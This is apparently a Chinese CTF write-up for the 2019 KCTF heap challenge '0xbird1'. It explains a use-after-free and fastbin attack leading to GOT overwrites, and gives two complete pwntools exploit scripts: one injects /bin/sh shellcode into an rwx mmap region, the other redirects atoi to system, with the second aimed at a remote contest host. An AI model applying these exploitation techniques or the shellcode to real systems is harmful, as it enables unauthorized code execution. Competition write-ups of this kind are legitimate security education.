一道没有给libc的菜单题,malloc和free都是作者自己实现的,malloc是通过mmap分配方式实现的。
checksec一下:可以看到只开了NX保护,没有开PIE
free之后指针没有置0,可以想到UAF
可以看到map分配的区域mapped是可执行的,那么就想到shellcode
1.通过fastbin attack劫持fd到.bss段的存在'7f'的堆指针区域
2.覆盖下一个堆指针为got.exit
3.由于mmap区域权限为rwx,随便在一个chunk中写入shellcode
4.通过Write heap功能泄露堆地址,编辑got.exit内容为shellcode_addr
5.最后,退出程序会调用exit,即可getshell
之后开开心心的我去remote,结果很真实
这是因为作者部署的环境是用的自写的cat flag程序,为了安全性考虑吧。项目地址就在图里面,那我就只能换个思路QAQ
先把shellcode这个思路的exp贴在下边:
from pwn import * #context.log_level = 'debug' p = process('./0xbird1')#,env = {'LD_PRELOAD':'./libc.so.6'}) #p = remote('154.8.174.214',10000) elf = ELF('./0xbird1') shellcode="" shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05" def A(size): p.recvuntil('2019KCTF| ') p.sendline('A') p.recvuntil('Size: ') p.sendline(str(size)) def F(id): p.recvuntil('2019KCTF| ') p.sendline('F') p.recvuntil('Index: ') p.sendline(str(id)) def W(id,data): p.recvuntil('2019KCTF| ') p.sendline('W') p.recvuntil('Write addr: ') p.sendline(str(id)) p.recvuntil('Write value: ') p.send(data) def N(): p.recvuntil('2019KCTF| ') p.sendline('N') def E(): p.recvuntil('2019KCTF| ') p.sendline('123') A(0x70) A(0x70) F(1) W(1,p64(0)*12+p64(0x6020b5)) A(0x70) A(0x70) A(0x70) W(4,'666'+p64(elf.got['exit'])) W(2,shellcode) p.recvuntil('2019KCTF| ') p.sendline('W') p.recvuntil('2) 0x') shell_addr = int(p.recv(12),16) log.info("shell_addr: 0x%x"%shell_addr) p.recvuntil('Write addr: ') p.sendline('5') p.recvuntil('Write value: ') p.sendline(p64(shell_addr)) E() p.interactive()
1.由于mapped区域libc区域之间的偏移是固定的,那么 offset = map_base - libc_base = 0x5eb000 ,libc_base = map_base - 0x5eb000,然后也就得到了system的真实地址
这里就涉及到一个寻找libc版本的问题了,github上有很多项目是安装libc库,这里就不细说了,咱们找到__libc_start_main_ret地址的最后12位为830,然后本地find一下,这里找到了三个版本的libc,一个一个挨着试,发现正确版本是第一个,即ubuntu10
2. 通过fastbin attack劫持fd到.bss段的存在'7f'的堆指针区域
3. 覆盖下一个堆指针为got.atoi,并编辑got.atoi内容为system的地址
4. 最后在malloc功能中有atoi的调用,传入参数 'sh\x00' 即可
上述三个步骤和上个方法的利用类似,就不重复细说了,运行脚本得到flag
附上exp,相关libc文件和exp已打包在附件里
from pwn import * #context.log_level = 'debug' #p = process(['./0xbird1'],env={"LD_PRELOAD":"./libc10.so"}) libc = ELF('libc10.so') p = remote('154.8.174.214',10000) elf = ELF('./0xbird1') def A(size): p.recvuntil('2019KCTF| ') p.sendline('A') p.recvuntil('Size: ') p.send(str(size)) def F(id): p.recvuntil('2019KCTF| ') p.sendline('F') p.recvuntil('Index: ') p.sendline(str(id)) def W(id,data): p.recvuntil('2019KCTF| ') p.sendline('W') p.recvuntil('Write addr: ') p.sendline(str(id)) p.recvuntil('Write value: ') p.send(data) def N(): p.recvuntil('2019KCTF| ') p.sendline('N') def E(): p.recvuntil('2019KCTF| ') p.sendline('123') A(0x70) p.recvuntil('2019KCTF| ') p.sendline('W') p.recvuntil('1) 0x') map_base = int(p.recv(12),16)-8 p.recvuntil('Write addr: ') p.send('1') p.recvuntil('Write value: ') p.send('666') libc_base = map_base - 0x5eb000 log.info('libc_base is %x'%libc_base) system_addr = libc_base + libc.symbols['system'] log.info('system_addr is %x'%system_addr) A(0x70) F(1) W(1,p64(0)*12+p64(0x6020b5)) A(0x70) A(0x70) A(0x70) W(4,'666'+p64(elf.got['atoi'])) W(5,p64(system_addr)) A('sh\x00') p.interactive()